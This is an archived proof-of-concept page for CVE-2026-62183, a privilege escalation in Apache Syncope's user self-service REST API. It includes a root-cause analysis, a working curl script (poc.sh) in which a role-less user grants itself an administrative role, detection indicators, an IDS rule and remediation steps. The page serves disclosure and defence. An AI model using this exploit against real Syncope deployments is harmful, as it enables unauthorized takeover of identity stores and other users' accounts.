PoC Archive PoC Archive
CVE-2026-62183 / CWE-269 category: web CVSS 9.8 (CRITICAL)
Patched

Apache Syncope User Self-Service Privilege Escalation (CVE-2026-62183)

Published: 2026-11-27 • Researcher: Nic Jones (GitHub: NicPWNs); credited finders per the CVE record are Nic Jones and elin kai; archived and reviewed 2026-11-27

Target software Apache Syncope identity and access management server (Core REST API, user self-service workflow)
Affected versions 3.0.0-M0 through 3.0.16; 4.0.0-M0 through 4.0.6; 4.1.0-M0 through 4.1.1. Fixed in 4.0.7 and 4.1.2; the 3.0.x branch is end of life and receives no fix
Status PoC — runtime-confirmed minimal proof using documented REST API calls; the upstream author explicitly does not present it as a weaponized exploit
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-62183 / CWE-269 (Improper Privilege Management; mechanism CWE-862 Missing Authorization) / Apache Syncope security advisory, fixed by SYNCOPE-1983
Category
web
Affected product
Apache Syncope identity and access management server (Core REST API, user self-service workflow)
Affected versions
3.0.0-M0 through 3.0.16; 4.0.0-M0 through 4.0.6; 4.1.0-M0 through 4.1.1. Fixed in 4.0.7 and 4.1.2; the 3.0.x branch is end of life and receives no fix
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-20 (upstream commit 6f7457b, “Link the blog write-up”; repository last pushed 2026-07-21T00:04:25Z)
Author / ResearcherNic Jones (GitHub: NicPWNs); credited finders per the CVE record are Nic Jones and elin kai; archived and reviewed 2026-11-27
CVE / AdvisoryCVE-2026-62183 / CWE-269 (Improper Privilege Management; mechanism CWE-862 Missing Authorization) / Apache Syncope security advisory, fixed by SYNCOPE-1983
Categoryweb
SeverityCritical
CVSS Score9.8 (per the NVD/batch record; the upstream README quotes the vendor assessment as Important, CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusPoC — runtime-confirmed minimal proof using documented REST API calls; the upstream author explicitly does not present it as a weaponized exploit
Tagsapache, syncope, identity-management, privilege-escalation, cwe-269, cwe-862, rest-api, self-service, authorization-bypass, java
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Syncope identity and access management server (Core REST API, user self-service workflow)
Versions Affected3.0.0-M0 through 3.0.16; 4.0.0-M0 through 4.0.6; 4.1.0-M0 through 4.1.1. Fixed in 4.0.7 and 4.1.2; the 3.0.x branch is end of life and receives no fix
Language / PlatformJava (Spring) server; the PoC is POSIX shell with curl against the REST interface
Authentication RequiredYes, but any low-privilege authenticated user; no roles are needed. Where self-registration is enabled with a workflow that does not require admin approval, the same gap is reachable unauthenticated
Network Access RequiredYes — the Core REST API must be reachable by the user

Summary

Apache Syncope’s user self-service update endpoint authorizes any authenticated caller and then skips the realm-scoped authorization check because the operation is marked as a self update. The data binder still applies privileged request fields such as roles, memberships, resources and realm, so a low-privilege user can add an existing administrative role to their own account. On the next request the account carries that role’s entitlements and can read or modify other accounts. With self-registration enabled the same gap lets an unauthenticated attacker create an already privileged account.

Vulnerability Details

Root Cause

The self-service update endpoint PATCH /users/self/{key} is implemented by UserSelfService.update(UserUR) and guarded only by:

Java source
1
2
3
4
5
6
@PreAuthorize("isAuthenticated() "
    + "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
    + "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
    ...
    ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync);   // self = true

No entitlement such as USER_UPDATE and no realm scope is required. AbstractUserLogic.doUpdate then skips the authorization block entirely when self is true:

Java source
1
2
3
4
5
6
7
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
    ...
    if (!self) {                                   // self == true: the whole block is skipped
        Set<String> authRealms = RealmUtils.getEffective(
                AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
        userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
    }

The binder (UserDataBinderImpl.update) nevertheless applies role ADD/DELETE operations, memberships(...) (groups), fill(...) (resources) and the realm field straight from the request. Those fields are meant to be protected by the check that the logic layer just skipped. The admin path (UserLogic.update, @PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) does run the check, so only the self path is affected. AuthDataAccessor.getUserAuthorities(user) unions the entitlements of every role returned by userDAO.findAllRoles(user), which is why the self-assigned role becomes effective on the user’s next request or login. The same if (!self) skip exists in doCreate, extending the flaw to self-registration.

Attack Vector

A low-privilege user calls the Core REST API directly with PATCH /users/self/{own-key}, a UserUR body and the required X-Syncope-Domain header. The body adds an existing privileged role with an ADD_REPLACE operation on roles; the same shape also accepts memberships, resources and realm. The endpoint accepts the request because it only checks that someone is authenticated, and the assigned role takes effect immediately on subsequent authorization decisions. Where self-registration is enabled and the configured workflow does not require admin approval, the equivalent doCreate path can be used to register a privileged account without any prior authentication.

Impact

The attacker gains the entitlements of any role defined on the deployment, including roles that grant USER_READ, USER_UPDATE, USER_DELETE or realm administration. That is takeover of the identity store: reading and modifying other users, deleting accounts, and triggering provisioning to connected external systems through resources or memberships. The exact reachable operations depend on the roles present in the target deployment; the upstream PoC demonstrates the escalation with the built-in User manager role, which is enough to read an arbitrary account that was previously forbidden.

Environment / Lab Setup

Output
OS:          Any host able to run the Apache Syncope standalone distribution (upstream used Windows with PowerShell)
Target:      Apache Syncope 3.0.16 standalone distribution: Tomcat 9.0.115 + H2 + all WARs
Attacker:    A plain authenticated user created by the administrator (no roles)
Tools:       curl, python (used by poc.sh to parse the created user key), JDK 17

Setup Steps

Shell script
1
2
3
4
5
6
7
curl -L -o syncope-standalone.zip \
  https://archive.apache.org/dist/syncope/3.0.16/syncope-standalone-3.0.16-distribution.zip
unzip syncope-standalone.zip -d syncope-standalone

curl -s -o /dev/null -w '%{http_code}\n' http://localhost:9080/syncope/rest/users/self

B=http://localhost:9080/syncope/rest ./poc.sh

The upstream BUILD.md (copied as BUILD.md) documents the same setup without Docker or Maven and records the seed data that the PoC depends on: the user bellini and the built-in roles User manager and User reviewer. That seed data is part of Apache’s evaluation distribution and is not present in a general deployment.

The script creates its own low-privilege user (as the admin), then performs the baseline, escalation and post-escalation requests. Change B for a different address; the admin password is the standalone default.

Proof of Concept

Step-by-Step Reproduction

  1. Create a plain user as the administrator. The script does this with a POST /users request and reads back the entity key. The user has no roles.

    Shell script
    1
    2
    3
    
    curl -s -u admin:password -H 'X-Syncope-Domain:Master' \
      -H 'Content-Type:application/json' -X POST "$B/users" \
      -d '{"_class":"org.apache.syncope.common.lib.request.UserCR","realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},{"schema":"userId","values":["e2@apache.org"]}]}'
  2. Confirm the baseline. As the new user, reading the seeded account bellini is forbidden.

    Shell script
    1
    2
    
    curl -s -u eviluser2:Password123! -H 'X-Syncope-Domain:Master' \
      -o /dev/null -w '%{http_code}\n' "$B/users/bellini"      # -> 403
  3. Escalate with a self update. Add the existing privileged role to the caller’s own account.

    Shell script
    1
    2
    3
    4
    5
    
    curl -s -u eviluser2:Password123! -H 'X-Syncope-Domain:Master' \
      -H 'Accept:application/json' -H 'Content-Type:application/json' \
      -X PATCH "$B/users/self/$K2" \
      -d '{"_class":"org.apache.syncope.common.lib.request.UserUR","key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
      -w '%{http_code}\n'                                      # -> 200
  4. Confirm the escalation. The same account can now read another user.

    Shell script
    1
    2
    
    curl -s -u eviluser2:Password123! -H 'X-Syncope-Domain:Master' \
      -o /dev/null -w '%{http_code}\n' "$B/users/bellini"      # -> 200
  5. Clean up the lab instance after the test; the standalone distribution stores state in its H2 database, so recreate it for a fresh run if needed.

Exploit Code

See poc.sh in this folder for the complete script, and BUILD.md for the runtime setup. The PoC uses only documented API calls and does not exploit a memory-safety bug.

Shell script
1
2
3
4
5
K2=<key of the plain user created in step 1>
curl -s -u eviluser2:Password123! \
  -H 'X-Syncope-Domain:Master' -H 'Accept:application/json' -H 'Content-Type:application/json' \
  -X PATCH "http://localhost:9080/syncope/rest/users/self/$K2" \
  -d '{"_class":"org.apache.syncope.common.lib.request.UserUR","key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}'

Expected Output

Upstream reports the following runtime result against Syncope 3.0.16; the output below is quoted from the upstream README and was not re-produced during this review.

Output
1
2
3
4
5
6
7
8
[setup] admin creates plain user 'eviluser2' (no roles)
   eviluser2 key=...
[1] baseline: eviluser2 reads another account -> expect 403
    GET /users/bellini = 403
[2] BUG: eviluser2 self-assigns existing role 'User manager' -> expect 200
    PATCH /users/self/{key} = 200
[3] escalated: eviluser2 reads any account -> expect 200
    GET /users/bellini = 200

The 403 to 200 transition on the same read request is the proof: the only change is the role that the user assigned to themselves. On a patched 4.0.7 or 4.1.2 instance the self update touching roles is routed through admin approval (requiresApproval() becomes true for roles, memberships, resources, relationships and related fields) instead of being applied directly.

Detection & Indicators of Compromise

Output
PATCH requests to /syncope/rest/users/self/ with a UserUR body containing
    "roles", "memberships", "resources", "auxClasses", "relationships" or "realm"
Self-service requests that add ADD_REPLACE operations on privileged role names
Role assignments recorded in the audit log that were not performed by an administrator
A user who gains entitlements that their previous requests were denied

POST or PATCH to the Core REST API from clients that normally only use the Enduser UI
X-Syncope-Domain headers for a domain other than the default from unexpected clients

Unexpected rows in the Syncope role/membership tables for recently created users
Provisioning traffic to external systems triggered by a user who never had a role

SIEM / IDS Rule (example):

Output
alert http any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"CVE-2026-62183 Apache Syncope self-service role escalation attempt"; flow:to_server,established; http_method; content:"PATCH"; http_uri; content:"/users/self/"; http_client_body; content:"ADD_REPLACE"; content:"roles"; classtype:web-application-attack; sid:90621830; rev:1;)

This rule is intentionally narrow (self path plus role ADD_REPLACE). Broaden it to memberships, resources and realm for full coverage, and baseline it against legitimate administrative workflows to avoid noise.

Remediation

ActionDetail
PatchUpgrade to Apache Syncope 4.0.7 or 4.1.2 (the fix for SYNCOPE-1983). The 3.0.x branch is end of life; move off it.
WorkaroundDo not expose the Core REST API to low-privilege users; drive self-service through the Enduser UI, which does not offer role assignment. Where self-registration is enabled, require administrator approval in the workflow definition.
Config HardeningReview every role defined on the deployment for entitlements that should not be reachable through self-service, monitor role/membership changes for self-originated requests, and rotate credentials of any account suspected of self-escalation.

References

Notes

Review verdict: ingested as a PoC. The repository is a genuine, runtime-confirmed demonstration of the authorization gap: poc.sh creates a role-less user, shows the 403 baseline, performs the self-service PATCH that adds User manager, and shows the same request returning 200. It is not a scanner, checker, template or README-only write-up, and it uses only documented API calls rather than memory corruption or a payload.

License and provenance: the upstream repository declares no LICENSE file, so copyright remains with the author and no reuse rights are granted; the material is archived for reference under the usual research-use caveat. Only a short research-use header was added to poc.sh. The upstream README is copied verbatim as upstream-README.md, and the upstream runtime notes as BUILD.md. The upstream commit is 6f7457b.

Limitations: the PoC targets Apache’s standalone evaluation distribution and relies on its seed data (the user bellini and the built-in User manager role), which is not present in a general deployment. It requires the low-privilege user to be able to call the Core REST API, which the upstream README acknowledges is not the normal Enduser UI path. The role names and the reached entitlements are deployment-specific, and the self-registration variant is described but not scripted. The CVSS score in the batch/NVD record is 9.8, while the upstream README quotes the vendor’s Important assessment at 8.8 with PR:L; the difference reflects whether the self-registration variant is assumed. The reported 403/200/200 sequence is the upstream author’s live result and was not re-executed during this review.

Malware assessment: no C2, persistence, evasion, keylogger, miner, stealer or bot code is present. The script only performs the application-specific privilege escalation and reads one other account; it does not bundle credentials beyond the documented standalone defaults (admin/password), which the operator must supply or change.

poc.sh
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/sh
# Archived for authorized security research and defensive testing only.
# Source: https://github.com/NicPWNs/CVE-2026-62183 (see README for attribution).
# Only this header was added; the PoC commands below are copied from upstream.
# Do not run against systems you do not own or have written permission to test.
# CVE-2026-62183 — Apache Syncope user self-service privilege escalation (CWE-269 / CWE-862).
# Runtime PoC. Verified on Syncope 3.0.16 standalone (JDK 17), domain "Master".
#
# A fresh user with NO roles self-assigns the existing privileged role "User manager"
# via PATCH /users/self/{key} (which requires only isAuthenticated()) and gains its rights.
# Uses only legitimate, documented API calls to demonstrate the authorization gap.
#
# Usage:  B=http://localhost:9080/syncope/rest ./poc.sh
set -e
B=${B:-http://localhost:9080/syncope/rest}
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'

echo "[setup] admin creates plain user 'eviluser2' (no roles)"
K2=$(curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
 "realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
 "plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
 {"schema":"userId","values":["e2@apache.org"]}]}' | python -c "import json,sys;print(json.load(sys.stdin)['entity']['key'])")
echo "   eviluser2 key=$K2"

AUTH="-u eviluser2:Password123!"
echo "[1] baseline: eviluser2 reads another account -> expect 403"
curl -s $AUTH $H -o /dev/null -w '    GET /users/bellini = %{http_code}\n' "$B/users/bellini"

echo "[2] BUG: eviluser2 self-assigns existing role 'User manager' -> expect 200"
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
 "key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
 -o /dev/null -w '    PATCH /users/self/{key} = %{http_code}\n'

echo "[3] escalated: eviluser2 reads any account -> expect 200"
curl -s $AUTH $H -o /dev/null -w '    GET /users/bellini = %{http_code}\n' "$B/users/bellini"